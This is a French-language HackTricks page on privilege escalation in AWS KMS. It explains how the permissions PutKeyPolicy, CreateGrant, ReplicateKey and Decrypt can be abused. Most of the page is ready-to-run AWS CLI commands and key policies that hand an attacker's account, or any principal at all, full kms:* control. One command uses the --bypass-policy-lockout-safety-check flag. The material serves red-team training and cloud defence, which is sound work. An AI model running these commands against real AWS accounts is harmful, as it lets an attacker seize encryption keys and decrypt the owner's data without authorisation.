AWS - KMS Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

KMS

Pour plus d’informations sur KMS, consultez :

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Avec ces autorisations, il est possible de modifier les autorisations d’accĂšs Ă  la clĂ© afin qu’elle puisse ĂȘtre utilisĂ©e par d’autres comptes ou mĂȘme par n’importe qui :

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

Cela permet Ă  un principal d’utiliser une clĂ© KMS :

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Warning

Un grant ne peut autoriser que certains types d’opĂ©rations: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Warning

Notez qu’il peut s’écouler quelques minutes avant que KMS n’autorise l’utilisateur Ă  utiliser la clĂ© aprĂšs que le grant a Ă©tĂ© gĂ©nĂ©rĂ©. Une fois ce dĂ©lai Ă©coulĂ©, le principal peut utiliser la KMS key sans avoir besoin de spĂ©cifier quoi que ce soit.
Cependant, si vous avez besoin d’utiliser le grant immĂ©diatement use a grant token (vĂ©rifiez le code suivant).
Pour more info read this.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Remarque : il est possible de lister les grants des keys avec :

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Avec ces permissions, il est possible de répliquer une clé KMS multi-région activée dans une région différente avec une stratégie différente.

Ainsi, un attaquant pourrait abuser de cela pour obtenir privesc sur l’accĂšs Ă  la clĂ© et l’utiliser

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Cette permission permet d’utiliser une clĂ© pour dĂ©chiffrer certaines informations.
Pour plus d’informations, consultez :

AWS - KMS Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks